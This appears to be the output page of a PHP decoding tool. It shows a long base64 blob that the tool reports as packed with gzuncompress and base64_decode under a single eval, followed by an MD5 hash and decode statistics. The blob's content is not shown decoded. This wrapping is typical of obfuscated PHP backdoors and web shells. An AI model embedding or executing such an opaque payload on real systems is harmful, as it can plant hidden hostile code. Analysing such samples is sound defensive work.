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")))

Function Calls

gzuncompress 1
base64_decode 1

Variables

None

Stats

MD5 c57c6d6d6e68d9f5d5674c928e9d572a
Eval Count 1
Decode Time 348 ms